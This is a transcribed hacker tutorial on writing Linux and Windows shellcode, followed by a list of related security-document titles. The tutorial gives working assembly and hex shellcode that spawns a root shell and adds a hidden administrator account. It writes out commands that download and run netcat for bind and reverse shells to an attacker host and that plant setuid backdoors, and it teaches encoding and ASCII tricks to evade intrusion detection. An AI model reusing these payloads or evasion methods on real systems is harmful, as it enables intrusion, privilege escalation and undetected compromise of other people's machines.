Practical Windows and Linux Shellcode design by Nomenumbra. 0x00) Intro
|
|
|
- Prudence Nichols
- 9 years ago
- Views:
Transcription
1 Practical Windows and Linux Shellcode design by Nomenumbra 0x00) Intro Most of the time, the core action preformed when rooting a box is exploitation. But what would an exploit be without shellcode? Nothing.. Shellcode is what makes you want to exploit something. For the people who are new to this shit, shellcode is opcode, machine code. For example, in windows, the assembly instruction push eax is transformed into 0x50. When exploiting something, you manage to trick the target program into executing your shellcode, to take control of the target system. This paper is an introduction to the design of shellcode on both windows and linux platforms. Basic knowledge of exploitation and ASM (x86, both windows and linux) is required. 0x01) Linux shellcode design For demonstration of basic linux shellcode designing techniques we'll assume your linux box runs on an x86processor. Since shellcode gets parsed into a string, we should avoid the prescence of the null-byte (0x00) at ALL cost, since it'll be interpreted as a string-terminator, and we don't want that, now do we? To avoid using the null-byte, we'll sometimes xor values in odd ways, use 8-bit or 16- bit registers when possible rather than32 bit and sometimes uses indirect constructions. For an introduction we'll start with a simple piece of shellcode, one that executes a shell (/bin/sh) with root privileges (assuming the exploited program is running with root priveleges). Systemcall numbers can be found in /usr/include/asm/unistd.h Take a look at the following piece of shellcode: [BITS 32] xor eax,eax ; to use zero values without having null-bytes in our shellcode mov al,70 ; 70 in al (to avoid null-bytes), setreuid systemcall is #70 xor ebx,ebx ; real uid to 0 (root) xor ecx,ecx ; effective uid to 0 (root) int 0x80 jmp short fetch ; fetch address on stack retv: pop ebx ; address of '/bin/shxaaaabbbb' xor eax,eax ; 0 mov [ebx+7],al ; X in the string becomes a null-byte to let /bin/sh serveas the first param of execve mov [ebx+8],ebx ; AAAA becomes address of the string mov [ebx+12],eax ; becomes 0, a null address mov al,11 ; execve's systemcall is #11 lea ecx,[ebx+8] ; address of AAAA (now the address of the string) loaded in ecx lea edx,[ebx+12] ; address of BBBB(now the null-address) loaded in edx int 0x80 fetch: call retv ; push address of '/bin/shxaaaabbbb' on the stack. db '/bin/shxaaaabbbb' ; no terminating 0 byte to avoid null-bytes, add AAAABBBB for ;arguments of execve, which are pointers to pointers, AAAA will contain the 4-byte long address of ;the address of the whole string, while BBBB will be a NULL address
2 Very nice, we once we get the exploitable program to execute this shellcode it will spawn a rootshell ready for use (this is obviously only usefull for local exploits). Now, something else. Another nice thing to do, to gain quick remote access is by making the target box download some program (for example netcat) and execute it to gain remote access. Instead of executing /bin/sh, we could make execve execute /usr/bin/wget like this: /usr/bin/wget somehost/netcat.exe ; netcat.exe -l -p e /bin/sh this will download netcat.exe from somehost, and bind it to port with inbound execution of /bin/sh to grant a bindshell to anyone who connects to port on the target box. We could do an endless ammount of things, from chmodding /etc/shadow to 666 to copying /bin/sh to /whatever and chowning it to root, and chmodding is +s to grant a backdoor rootshell to anyone. Or we could add an extra user with adduser (or by directly modifying the /etc/shadow & /etc/passwd file). Another nice thing to do would be to spawn a bindshell without relying on netcat. Other things (like a reverse shell) are relatively easy to do, once you know the syscalls to use and what arguments they require. 0x02) Windows Shellcode design First of all i'd like to make clear Windows shellcode differs A LOT from Linux shellcode. To get something done in Windows we'll have to make use of the Windows api's. There are two ways to use your api's, either by using hardcoded addresses or by using relative addressing. Using hardcoded adresses makes your shellcode a lot smaller, but in some cases more instable, since the location of WinExec on english systems isn't the same as on german systems or spanish systems. Since most shellcode will be transferred or somehow parsed into a string, we must AT ALL COST avoid the prescence of a null-byte (0x00) in our shellcode, since it will be interpreted as a stringterminator, that's why we'll xor a lot of stuff, and use 16 bit regs in favor of 32 bit sometimes. To test your shellcode you should use the following c++ app: BYTE shellcode[] = youshellcodehere ; int main() { void *ad = malloc(10000); memcpy(ad,shellcode,sizeof(shellcode)); asm { mov eax,ad } free(ad); return 0; }; this app will copy the address of the shellcode to ad, then place ad in eax and make a call to eax, so that the shellcode gets executed and returns neatly to the app again. To fetch the hardcoded address of an API we'll use Arwin V.01 by dissonance, a simple app that locates the address of a function in a DLL. We'll start with a simple example, a hello world message. We'll use the following api: MessageBoxA located in user32.dll
3 ExitProcess located in kernel32.dll C:\shellcode>arwin user32.dll MessageBoxA arwin - win32 address resolution program - by dissonance - v.01 MessageBoxA is located at 0x77d3e824 in user32.dll C:\shellcode>arwin kernel32.dll ExitProcess arwin - win32 address resolution program - by dissonance - v.01 ExitProcess is located at 0x77e59863 in kernel32.dll This address might (very likely will) differ on your box. I'll be using tasm to generate my shellcode..386.model flat.code start: xor eax,eax ; set to 0 jmp short tst ; jump there, to push the address of hi2un on the stack rtv: pop ecx ; address of hi2un mov [ecx+4],al ; make N 0 (string terminator) push eax ; push 0 push ecx ; push offset hi2u,0 push ecx ; push offset hi2u,0 push eax ; push 0 mov eax,77d3e824h ; call MessageBoxA mov eax,77e59863h ; call ExitProcess tst: call rtv ; return db "hi2un" ; message, ending in N to prevent nullbytes in shellcode end start To assemble: tasm32 /mx /m3 /z /q hello.asm tlink32 -x /Tpe /aa /c hello,hello,, import32.lib Nice, one more thing, because tasm doesn't set the executable's.code section properties to writeable, the code can't modify itself in memory, so we'll need to either modify the properties manually or use a tool, I use editbin.exe,which comes with Microsoft Visual C++. Usage: Editbin.exe /SECION:CODE,w hello.exe. Ok, now let's get the shellcode. Fire up OllyDbg and load hello.exe. You'll see the code goes from 0x33 to 0x4E, after that we only have 0x00. Now copy that piece of code (either by fetching it with a hex-editor or directly from OllyDbg) and parse it in a string (I presume you write a quick tool to do this, since it'll take a LOT of time doing it by hand each time) to get this: \x33\xc0\xeb\x16\x59\x88\x41\x04\x50\x51\x51\x50\xb8\x24\xe8\xd3\x77\xff\xd0\xb8\x63\x98\x e5\x77\xff\xd0\xe8\xe5\xff\xff\xff\x68\x69\x32\x75\x4e How nice, our first piece of windows shellcode :D.
4 Ok, now on to something usefull... There are multiple actions we could preform with our shellcode that would benefit our intrusion. To name some basic things: -)Add extra admin account (nice, but not stealthy) -)Download and execute some file (Rootkit, sniffer, keylogger,etc, etc) -)Spawn bindshell Ok, to add an extra admin account we would execute the following command: cmd.exe /c net user omfg pass /add & net localgroup Administrators /ADD omfg cmd.exe /c uses the windows command shell to execute one or more commands (linked with &) We'd need the address of WinExec, to execute our command. Arwin tells me the address of WinExec is 0x77E4FD60, so our shellcode would look like like follows in asm:.586p.model flat.code start: xor eax,eax ; set to zero jmp short GtSt ; to push address retv: pop ecx mov [ecx+70],al ; zero termination push eax ; push 0 (SW_HIDE) push ecx ; push offset cmd.exe... mov eax,77e4fd60h ; call WinExec mov eax,77e59863h ; call ExitProcess GtSt: call retv db "cmd.exe /c net user 0x ps /ADD & net localgroup Administrators /ADD 0xN" end start This code will add a use 0x (I chose to use a short username and pass to decrease shellcode size) with ps as password as an admin (assuming the exploited process runs with admin privileges). Converted to shellcode it'll look like: \x33\xc0\xeb\x14\x59\x88\x41\x46\x50\x51\xb8\x60\xfd\xe4\x77\xff\xd0\xb8\x63\x98\xe5\x77\xf f\xd0\xe8\xe7\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73\ x65\x72\x20\x30\x78\x20\x70\x73\x20\x2f\x41\x44\x44\x20\x26\x20\x6e\x65\x74\x20\x6c\x6f\x6 3\x61\x6c\x67\x72\x6f\x75\x70\x20\x41\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74\x6f\x72\x73\x 20\x2f\x41\x44\x44\x20\x30\x78\x4e How sexy...
5 Downloading and executing a file could be done like this: cmd /c tftp -i <somehost> GET somefile.exe somefile.exe & somefile.exe this would download somefile.exe from <somehost> with tftp, put it in the current directory as somefile.exe and execute it. We could do a LOT with this, like: cmd /c tftp -i <somehost> GET netcat.exe netcat.exe & netcat.exe -L -p e cmd.exe, which would spawn a bindshell on port 1337 or cmd /c tftp -i <somehost> GET netcat.exe netcat.exe & netcat.exe <attackerbox> e cmd.exe which would (if the attacker set up a listening shell (netcat.exe -l -p 1337) on his box) grant him a reverse shell. The variative ammount is endless. But we shouldn't rely on tftp, since we can do this with a simple API too. UrlDownloadToFileA, located in urlmon.dll. The prototype defenition: URLDownloadToFileA ( LPUNKNOWN pcaller, LPCTSTR szurl, LPCTSTR szfilename, DWORD dwreserved, LPBINDSTATUSCALLBACK lpfncb ); assuming ecx would contain the offset of the filename, edx the offset of the url (obtained like we did with the strings used by WinExec) and eax the address of URLDownloadToFileA (obtained with, for example, GetProcAddress), the code would look like: xor ebx, ebx ; ecx = 0 push ebx ; lpfncb push ebx ; dwreserved push ecx ; szfilename push edx ; szurl push ebx ; pcaller ; call URLDownloadToFileA We could do a lot more stuff (like self-replicating shellcode), but I leave that to your fantasy. 0x03) Evading IDS Well, you shellcode is of no use if it gets picked up by an IDS system, and flies a red flag with the admin, so it's important to disguise you shellcode, either by encoding it or by using several other tricks. One way to prevent detection is described in phrack #62 phile 0x07. The banner that gets displayed when we start a shell might be picked up by IDS systems: Microsoft Windows XP [Version ] (C) Copyright Microsoft Corp. C:\Documents and Settings\username
6 To avoid getting detected this way we could do cmd /k, effectively eleminating the display of the banner. Another rule tries to detect the dir command by checking for the string Volume Serial Number, we could circumenvent this rule by using dir /b. Let's take a look at an actual snort rule: alert udp $EXTERNAL_NET any -> $HOME_NET 69 (msg:"tftp Get"; content:" "; depth:2; classtype:badunknown; sid:1444; rev:3;) This rule checks if TFTP is used to fetch something. To bypass this rule, we could copy C:\windows\system32\tftp.exe to C:\ptft.exe, effectively bypassing this rule. We could do thousands of and more of these things, bypassing a single IDS, but it's far more usefull to use a way that's armoured against multiple IDS systems, for example encoding. Encoding your shellcode would go as follows:.386.model flat.code start: jmp short Fcb goback: pop eax mov cl,24 Decrypt: xor byte ptr [eax],2 inc eax loop Decrypt jmp cryptb Fcb: call goback cryptbegin: <etc,etc, your code here> in this example we start at the offset of CryptBegin and decode the next X bytes (the rest of the shellcode) before they are run. To implement this shellcode we'd have to encode all bytes from the address of cryptbegin (in this case with a simple Xor operation). Another method to evade IDS systems is by using ASCII-printable shellcode. When your shellcode looks like normal benign input, most IDS systems won't suspect anything at all. To do this we need to construct our shellcode in a way that it's opcode bytes are printable as characters. That means all bytes must lie within the range of (0x20 -> 0x7E). Xor eax,eax sets eax to 0, but doesn't give us any printable code, so we need to find something else. and eax,454e4f4ah and eax,3a313035h sets eax to 0 and gives us %JONE%501 in opcode, how nice. Some opcode instructions that are ASCII-printable: push eax -> P push ecx -> Q push edx -> R push ebx -> S
7 push esi -> V push edi -> W pop eax -> X pop ecx -> Y pop edx -> Z pop ebx -> [ pop esi -> ^ pop edi -> _ jb short -> r jnb short -> s je short -> t jne short -> u inc eax inc ecx -> A inc edx -> B inc ebx -> C etc,etc as you can see, working with the stack gives you a lot of printable ascii code, as does increasing registries if the value you want to put in them isn't ASCII-printable, but a value that is close to it is, and you can use conditional jumps that always evaluate to a jump instead of an unconditional jump. 0x04) Resources Phrack #62, phile 0x07, Advances in windows shellcode, by SK ( The shellcoder's handbook, Jack Koziol et al. The Tao of windows buffer overflow, Dildog/cDc ( 0x05) Greets && shoutz Greets and shoutz go to the whole HTS community (the REAL community, not the posers) and hacking scene in general. And a big FUCK YOU goes to the whitehat community for being a lame paw of the globalist extortionists and trying to sell out the soul of our community.
For a 64-bit system. I - Presentation Of The Shellcode
#How To Create Your Own Shellcode On Arch Linux? #Author : N3td3v!l #Contact-mail : [email protected] #Website : Nopotm.ir #Spcial tnx to : C0nn3ct0r And All Honest Hackerz and Security Managers I - Presentation
Format string exploitation on windows Using Immunity Debugger / Python. By Abysssec Inc WwW.Abysssec.Com
Format string exploitation on windows Using Immunity Debugger / Python By Abysssec Inc WwW.Abysssec.Com For real beneficiary this post you should have few assembly knowledge and you should know about classic
Hacking Techniques & Intrusion Detection. Ali Al-Shemery arabnix [at] gmail
Hacking Techniques & Intrusion Detection Ali Al-Shemery arabnix [at] gmail All materials is licensed under a Creative Commons Share Alike license http://creativecommonsorg/licenses/by-sa/30/ # whoami Ali
1. General function and functionality of the malware
1. General function and functionality of the malware The malware executes in a command shell, it begins by checking to see if the executing file contains the MZP file extension, and then continues to access
Unix Security Technologies. Pete Markowsky <peterm[at] ccs.neu.edu>
Unix Security Technologies Pete Markowsky What is this about? The goal of this CPU/SWS are: Introduce you to classic vulnerabilities Get you to understand security advisories Make
Return-oriented programming without returns
Faculty of Computer Science Institute for System Architecture, Operating Systems Group Return-oriented programming without urns S. Checkoway, L. Davi, A. Dmitrienko, A. Sadeghi, H. Shacham, M. Winandy
WLSI Windows Local Shellcode Injection. Cesar Cerrudo Argeniss (www.argeniss.com)
WLSI Windows Local Shellcode Injection Cesar Cerrudo Argeniss (www.argeniss.com) Overview _ Introduction _ Establishing a LPC connection _ Creating a shared section _ The technique _ Building an exploit
64-Bit NASM Notes. Invoking 64-Bit NASM
64-Bit NASM Notes The transition from 32- to 64-bit architectures is no joke, as anyone who has wrestled with 32/64 bit incompatibilities will attest We note here some key differences between 32- and 64-bit
Bypassing Anti- Virus Scanners
Bypassing Anti- Virus Scanners Abstract Anti-Virus manufacturers nowadays implements more and more complex functions and algorithms in order to detect the latest and newest viruses along with their variants.
Violating Database - Enforced Security Mechanisms
Violating Database - Enforced Security Mechanisms Runtime Patching Exploits in SQL Server 2000: a case study Chris Anley [[email protected]] 18/06/2002 An NGSSoftware Insight Security Research (NISR)
Stack Overflows. Mitchell Adair
Stack Overflows Mitchell Adair Outline Why? What? There once was a VM Virtual Memory Registers Stack stack1, stack2, stack3 Resources Why? Real problem Real money Real recognition Still prevalent Very
Attacking x86 Windows Binaries by Jump Oriented Programming
Attacking x86 Windows Binaries by Jump Oriented Programming L. Erdődi * * Faculty of John von Neumann, Óbuda University, Budapest, Hungary [email protected] Abstract Jump oriented programming
Penetration Testing Walkthrough
Penetration Testing Walkthrough Table of Contents Penetration Testing Walkthrough... 3 Practical Walkthrough of Phases 2-5... 4 Chose Tool BackTrack (Armitage)... 5 Choose Target... 6 Phase 2 - Basic Scan...
SECUREIT.CO.IL. Tutorial. NetCat. Security Through Hacking. NetCat Tutorial. Straight forward, no nonsense Security tool Tutorials
SECUREIT.CO.IL Tutorial NetCat Security Through Hacking NetCat Tutorial Straight forward, no nonsense Security tool Tutorials SECUREIT.CO.IL SECURITY THROUGH HACKING NetCat The Swiss Army Knife SecureIT.co.il
Abysssec Research. 1) Advisory information. 2) Vulnerable version
Abysssec Research 1) Advisory information Title Version Discovery Vendor Impact Contact Twitter CVE : Apple QuickTime FlashPix NumberOfTiles Remote Code Execution Vulnerability : QuickTime player 7.6.5
IDS and Penetration Testing Lab III Snort Lab
IDS and Penetration Testing Lab III Snort Lab Purpose: In this lab, we will explore a common free Intrusion Detection System called Snort. Snort was written initially for Linux/Unix, but most functionality
TitanMist: Your First Step to Reversing Nirvana TitanMist. mist.reversinglabs.com
TitanMist: Your First Step to Reversing Nirvana TitanMist mist.reversinglabs.com Contents Introduction to TitanEngine.. 3 Introduction to TitanMist 4 Creating an unpacker for TitanMist.. 5 References and
Attacking Host Intrusion Prevention Systems. Eugene Tsyrklevich [email protected]
Attacking Host Intrusion Prevention Systems Eugene Tsyrklevich [email protected] Agenda Introduction to HIPS Buffer Overflow Protection Operating System Protection Conclusions Demonstration
Detecting Anonymous Proxy Usage
Detecting Anonymous Proxy Usage John Brozycki March 2008 GIAC GPEN, GCIH, GSEC, GCIA, GCFW, GCFA, GREM [email protected] SANS Technology Institute - Candidate for Master of Science Degree 1 1 John
Software Fingerprinting for Automated Malicious Code Analysis
Software Fingerprinting for Automated Malicious Code Analysis Philippe Charland Mission Critical Cyber Security Section October 25, 2012 Terms of Release: This document is approved for release to Defence
Title: Bugger The Debugger - Pre Interaction Debugger Code Execution
White Paper Title: Bugger The Debugger Pre Interaction Debugger Code Execution Prepared by: Brett Moore Network Intrusion Specialist, CTO SecurityAssessment.com Date: April 2005 Abstract The use of debuggers
System Security Fundamentals
System Security Fundamentals Alessandro Barenghi Dipartimento di Elettronica, Informazione e Bioingegneria Politecnico di Milano alessandro.barenghi - at - polimi.it April 28, 2015 Lesson contents Overview
Fighting malware on your own
Fighting malware on your own Vitaliy Kamlyuk Senior Virus Analyst Kaspersky Lab [email protected] Why fight malware on your own? 5 reasons: 1. Touch 100% of protection yourself 2. Be prepared
Using fuzzing to detect security vulnerabilities
Using fuzzing to detect security vulnerabilities INFIGO-TD-01-04-2006 25-04-2006 Leon Juranić [email protected] Infigo IS. All rights reserved. This document contains information, which is protected
Network Security, ISA 656, Angelos Stavrou. Snort Lab
Snort Lab Purpose: In this lab, we will explore a common free Intrusion Detection System called Snort. Snort was written initially for Linux/Unix, but most functionality is now available in Windows. In
Assembly Language: Function Calls" Jennifer Rexford!
Assembly Language: Function Calls" Jennifer Rexford! 1 Goals of this Lecture" Function call problems:! Calling and returning! Passing parameters! Storing local variables! Handling registers without interference!
CS412/CS413. Introduction to Compilers Tim Teitelbaum. Lecture 20: Stack Frames 7 March 08
CS412/CS413 Introduction to Compilers Tim Teitelbaum Lecture 20: Stack Frames 7 March 08 CS 412/413 Spring 2008 Introduction to Compilers 1 Where We Are Source code if (b == 0) a = b; Low-level IR code
Practical taint analysis for protecting buggy binaries
Practical taint analysis for protecting buggy binaries So your exploit beats ASLR/DEP? I don't care Erik Bosman Traditional Stack Smashing buf[16] GET / HTTP/1.100baseretnarg1arg2 Traditional
Introduction to Reverse Engineering
Introduction to Reverse Engineering Inbar Raz Malware Research Lab Manager December 2011 What is Reverse Engineering? Reverse engineering is the process of discovering the technological principles of a
Linux exploit development part 2 (rev 2) - Real app demo (part 2)
Linux exploit development part 2 (rev 2) - Real app demo (part 2) This will be a short tutorial demonstrating a "buffer overflow" exploit on a real application which is freely available using the techniques
INTRODUCTION TO MALWARE & MALWARE ANALYSIS
INTRODUCTION TO MALWARE & MALWARE ANALYSIS by Quick Heal R&D lab Security Simplified INTRODUCTION Very often people call everything that corrupts their system a virus without being aware about what it
Computer Organization and Architecture
Computer Organization and Architecture Chapter 11 Instruction Sets: Addressing Modes and Formats Instruction Set Design One goal of instruction set design is to minimize instruction length Another goal
Custom Penetration Testing
Custom Penetration Testing Compromising a Vulnerability through Discovery and Custom Exploitation Stephen Sims Advanced Penetration Testing - 2009 SANS 1 Objectives Penetration Testing Precompiled Tools
Hide and seek - how targeted attacks hide behind clean applications Szappanos Gábor
Hide and seek - how targeted attacks hide behind clean applications Szappanos Gábor Principal Malware Researcher 1 Honourable mentions: 2010. Stuxnet digitally signed drivers: stolen certificate June 2012.
Buffer Overflows. Security 2011
Buffer Overflows Security 2011 Memory Organiza;on Topics Kernel organizes memory in pages Typically 4k bytes Processes operate in a Virtual Memory Space Mapped to real 4k pages Could live in RAM or be
Windows XP SP3 Registry Handling Buffer Overflow
Windows XP SP3 Registry Handling Buffer Overflow by Matthew j00ru Jurczyk and Gynvael Coldwind Hispasec 1. Basic Information Name Windows XP SP3 Registry Handling Buffer Overflow Class Design Error Impact
PuttyRider. With great power comes great responsibility. # Pivoting from Windows to Linux in a penetration test. Adrian Furtunã, PhD adif2k8@gmail.
PuttyRider # Pivoting from Windows to Linux in a penetration test With great power comes great responsibility Adrian Furtunã, PhD [email protected] root@bt:~# Agenda # Idea origin and usage scenario #
CVE-2012-1535 Adobe Flash Player Integer Overflow Vulnerability Analysis
Your texte here. CVE-2012-1535 Adobe Flash Player Integer Overflow Vulnerability Analysis October 11 th, 2012 Brian MARIANI & Frédéric BOURLA A FEW WORDS ABOUT FLASH PLAYER Your Adobe texte Flash here
From Georgia, with Love Win32/Georbot. Is someone trying to spy on Georgians?
From Georgia, with Love Win32/Georbot Is someone trying to spy on Georgians? At the beginning of the year, a curious piece of malware came to our attention. An analyst in our virus laboratory noticed that
telnetd exploit FreeBSD Telnetd Remote Exploit Für Compass Security AG Öffentliche Version 1.0 Januar 2012
telnetd exploit FreeBSD Telnetd Remote Exploit Für Compass Security AG Öffentliche Version 1.0 Januar 2012 Content Part I Info Bug Telnet Exploit Part II Advanced Exploitation Meta Information Disclosed
Test Driven Development in Assembler a little story about growing software from nothing
Test Driven Development in Assembler a little story about growing software from nothing Olve Maudal During the last decade Test-Driven Development has become an established practice for developing software
Off-by-One exploitation tutorial
Off-by-One exploitation tutorial By Saif El-Sherei www.elsherei.com Introduction: I decided to get a bit more into Linux exploitation, so I thought it would be nice if I document this as a good friend
This report is a detailed analysis of the dropper and the payload of the HIMAN malware.
PAGE 5 Check Point Malware Research Group HIMAN Malware Analysis December 12, 2013 Researcher: Overview This report is a detailed analysis of the dropper and the payload of the HIMAN malware. This malware
Systems Design & Programming Data Movement Instructions. Intel Assembly
Intel Assembly Data Movement Instruction: mov (covered already) push, pop lea (mov and offset) lds, les, lfs, lgs, lss movs, lods, stos ins, outs xchg, xlat lahf, sahf (not covered) in, out movsx, movzx
Syscall Proxying - Simulating remote execution Maximiliano Caceres <[email protected]> Copyright 2002 CORE SECURITY TECHNOLOGIES
Syscall Proxying - Simulating remote execution Maximiliano Caceres Copyright 2002 CORE SECURITY TECHNOLOGIES Table of Contents Abstract.........................................................................................
The Windows Shortcut File Format as reverse-engineered by Jesse Hager [email protected] Document Version 1.0
Disclaimer The Windows Shortcut File Format as reverse-engineered by Jesse Hager [email protected] Document Version 1.0 This document is provided AS-IS basis, without any warranties or representations
Application-Specific Attacks: Leveraging the ActionScript Virtual Machine
IBM Global Technology Services April 2008 Application-Specific Attacks: Leveraging the ActionScript Virtual Machine By Mark Dowd X-Force Researcher IBM Internet Security Systems ([email protected])
The Beast is Resting in Your Memory On Return-Oriented Programming Attacks and Mitigation Techniques To appear at USENIX Security & BlackHat USA, 2014
Intelligent Things, Vehicles and Factories: Intel Workshop on Cyberphysical and Mobile Security 2014, Darmstadt, June 11 The Beast is Resting in Your Memory On Return-Oriented Programming Attacks and Mitigation
How To Make A Backdoor On Windows Server From A Remote Computer From A Command Prompt On A Windows 2 Computer (Windows) On A Pc Or Ipad (Windows 2) On An Ipad Or Ipa (Windows 3) On Your Pc Or
Exploring windows back door bypassing firewall on webhosting providers [email protected] For the past hackers have been looking out for backdooring windows server when it is hosted at some best hosting
Hotpatching and the Rise of Third-Party Patches
Hotpatching and the Rise of Third-Party Patches Alexander Sotirov [email protected] BlackHat USA 2006 Overview In the next one hour, we will cover: Third-party security patches _ recent developments
Exercise 7 Network Forensics
Exercise 7 Network Forensics What Will You Learn? The network forensics exercise is aimed at introducing you to the post-mortem analysis of pcap file dumps and Cisco netflow logs. In particular you will:
Lab 4: Socket Programming: netcat part
Lab 4: Socket Programming: netcat part Overview The goal of this lab is to familiarize yourself with application level programming with sockets, specifically stream or TCP sockets, by implementing a client/server
Self Protection Techniques in Malware
DSIE 10 5 th Doctoral lsymposium on Informatics Engineering i January 28 29, 2010 Porto, Portugal Self Protection Techniques in Malware Tiago Santos Overview Introduction Malware Types Why Self Protection?
Intrusion Detection and Prevention
Intrusion Detection and Prevention Packet Capture The first step in understanding how an IDS works is to understand packet capture. The best way to do this is to grab some packets with TCPdump. TCPdump
1 hours, 30 minutes, 38 seconds Heavy scan. All scanned network resources. Copyright 2001, FTP access obtained
home Network Vulnerabilities Detail Report Grouped by Vulnerability Report Generated by: Symantec NetRecon 3.5 Licensed to: X Serial Number: 0182037567 Machine Scanned from: ZEUS (192.168.1.100) Scan Date:
Thick Client Application Security
Thick Client Application Security Arindam Mandal ([email protected]) (http://www.paladion.net) January 2005 This paper discusses the critical vulnerabilities and corresponding risks in a two
http://www.nologin.org Bypassing Windows Hardware-enforced Data Execution Prevention
http://www.nologin.org Bypassing Windows Hardware-enforced Data Execution Prevention Oct 2, 2005 skape [email protected] Skywing [email protected] One of the big changes that Microsoft introduced
Sage 50 Payroll 2012 Authentication Bypass
Sage 50 Payroll 2012 Authentication Bypass Version Number 18.00.031 SBD Desktop Version 2.0.0.160 Website http://www.sage.co.uk/sage-50-payroll Author Richard Davy Email [email protected] Tools
風 水. Heap Feng Shui in JavaScript. Alexander Sotirov. [email protected]
風 水 Heap Feng Shui in JavaScript Alexander Sotirov [email protected] Black Hat Europe 2007 Introduction What is Heap Feng Shui? the ancient art of arranging heap blocks in order to redirect the program
Where s the FEEB? The Effectiveness of Instruction Set Randomization
Where s the FEEB? The Effectiveness of Instruction Set Randomization Ana Nora Sovarel David Evans Nathanael Paul University of Virginia, Department of Computer Science http://www.cs.virginia.edu/feeb Abstract
The full setup includes the server itself, the server control panel, Firebird Database Server, and three sample applications with source code.
Content Introduction... 2 Data Access Server Control Panel... 2 Running the Sample Client Applications... 4 Sample Applications Code... 7 Server Side Objects... 8 Sample Usage of Server Side Objects...
Still Aren't Doing. Frank Kim
Ten Things Web Developers Still Aren't Doing Frank Kim Think Security Consulting Background Frank Kim Consultant, Think Security Consulting Security in the SDLC SANS Author & Instructor DEV541 Secure Coding
Stitching the Gadgets On the Ineffectiveness of Coarse-Grained Control-Flow Integrity Protection
USENIX Security Symposium 2014, San Diego, CA, USA Stitching the Gadgets On the Ineffectiveness of Coarse-Grained Control-Flow Integrity Protection Lucas Davi Intel Collaborative Research Institute for
Introduction to Operating Systems
Introduction to Operating Systems It is important that you familiarize yourself with Windows and Linux in preparation for this course. The exercises in this book assume a basic knowledge of both of these
MS Outlook to Unix Mailbox Conversion mini HOWTO
Table of Contents MS Outlook to Unix Mailbox Conversion mini HOWTO...1 Greg Lindahl, [email protected] 1. Introduction...1 2. Converting using Mozilla Mail...1 3. Converting using IMAP...1 1. Introduction...1
Threat Advisory: Trivial File Transfer Protocol (TFTP) Reflection DDoS
Classification: TLP-GREEN RISK LEVEL: MEDIUM Threat Advisory: Trivial File Transfer Protocol (TFTP) Reflection DDoS Release Date: 6.1.16 1.0 / OVERVIEW / Akamai SIRT is investigating a new DDoS reflection
Troubleshooting / FAQ
Troubleshooting / FAQ Routers / Firewalls I can't connect to my server from outside of my internal network. The server's IP is 10.0.1.23, but I can't use that IP from a friend's computer. How do I get
User Profile Manager 2.6
User Profile Manager 2.6 User Guide ForensiT Limited, Innovation Centre Medway, Maidstone Road, Chatham, Kent, ME5 9FD England. Tel: US 1-877-224-1721 (Toll Free) Intl. +44 (0) 845 838 7122 Fax: +44 (0)
What Happens In Windows 7 Stays In Windows 7
What Happens In Windows 7 Stays In Windows 7 Moti Joseph & Marion Marschalek Troopers Conference 2014 About Us Joseph Moti Security Researcher Marion Marschalek Malware Analyst 8 7 3 1-7 3 6 4-1 9 3 2-9
Penetration Testing with Kali Linux
Penetration Testing with Kali Linux PWK Copyright 2014 Offensive Security Ltd. All rights reserved. Page 1 of 11 All rights reserved to Offensive Security, 2014 No part of this publication, in whole or
Persist It Using and Abusing Microsoft s Fix It Patches
Persist It Using and Abusing Microsoft s Fix It Patches Jon Erickson : isight Partners : [email protected] Abstract: Microsoft has often used Fix it patches, which are a subset of Application
esrever gnireenigne tfosorcim seiranib
esrever gnireenigne tfosorcim seiranib Alexander Sotirov [email protected] CanSecWest / core06 Reverse Engineering Microsoft Binaries Alexander Sotirov [email protected] CanSecWest / core06 Overview
Introduction. Figure 1 Schema of DarunGrim2
Reversing Microsoft patches to reveal vulnerable code Harsimran Walia Computer Security Enthusiast 2011 Abstract The paper would try to reveal the vulnerable code for a particular disclosed vulnerability,
Heap-based Buffer Overflow Vulnerability in Adobe Flash Player
Analysis of Zero-Day Exploit_Issue 03 Heap-based Buffer Overflow Vulnerability in Adobe Flash Player CVE-2014-0556 20 December 2014 Table of Content Overview... 3 1. CVE-2014-0556 Vulnerability... 3 2.
There s a kernel security researcher named Dan Rosenberg whose done a lot of linux kernel vulnerability research
1 There s a kernel security researcher named Dan Rosenberg whose done a lot of linux kernel vulnerability research That s unavoidable, but the linux kernel developers don t do very much to make the situation
Vulnerability Assessment and Penetration Testing
Vulnerability Assessment and Penetration Testing Module 1: Vulnerability Assessment & Penetration Testing: Introduction 1.1 Brief Introduction of Linux 1.2 About Vulnerability Assessment and Penetration
Character Translation Methods
Supplement to: Irvine, Kip R. Assembly Language for Intel-Based Computers, 4th Edition. This file may be duplicated or printed for classroom use, as long as the author name, book title, and copyright notice
(Refer Slide Time: 00:01:16 min)
Digital Computer Organization Prof. P. K. Biswas Department of Electronic & Electrical Communication Engineering Indian Institute of Technology, Kharagpur Lecture No. # 04 CPU Design: Tirning & Control
Hydra. Advanced x86 polymorphic engine. Incorporates existing techniques and introduces new ones in one package. All but one feature OS-independent
Hydra Advanced x86 polymorphic engine Incorporates existing techniques and introduces new ones in one package All but one feature OS-independent Random register operations Different synonymous instructions
A Tiny Guide to Programming in 32-bit x86 Assembly Language
CS308, Spring 1999 A Tiny Guide to Programming in 32-bit x86 Assembly Language by Adam Ferrari, [email protected] (with changes by Alan Batson, [email protected] and Mike Lack, [email protected])
Instruction Set Architecture
CS:APP Chapter 4 Computer Architecture Instruction Set Architecture Randal E. Bryant adapted by Jason Fritts http://csapp.cs.cmu.edu CS:APP2e Hardware Architecture - using Y86 ISA For learning aspects
How To Hack The Steam Voip On Pc Orchesterian Moonstone 2.5 (Windows) On Pc/Robert Kruber (Windows 2) On Linux 2.2.2 (Windows 3.5) On A Pc
ReVuln Ltd. http://revuln.com @revuln [email protected] Revision 3 STEAM VOIP SECURITY BY LUIGI AURIEMMA Overview and details about the security issues found in the Steam voice framework. TABLE OF CONTENTS
Notes on Assembly Language
Notes on Assembly Language Brief introduction to assembly programming The main components of a computer that take part in the execution of a program written in assembly code are the following: A set of
Web Application Threats and Vulnerabilities Web Server Hacking and Web Application Vulnerability
Web Application Threats and Vulnerabilities Web Server Hacking and Web Application Vulnerability WWW Based upon HTTP and HTML Runs in TCP s application layer Runs on top of the Internet Used to exchange
Vista and ActiveX control
Vista and ActiveX control Prepared By: Su Yong Kim Dong Hyun Lee Do Hoon Lee Abstract This article covers security issues of ActiveX control on Windows Vista. Windows Vista has some new security mechanisms
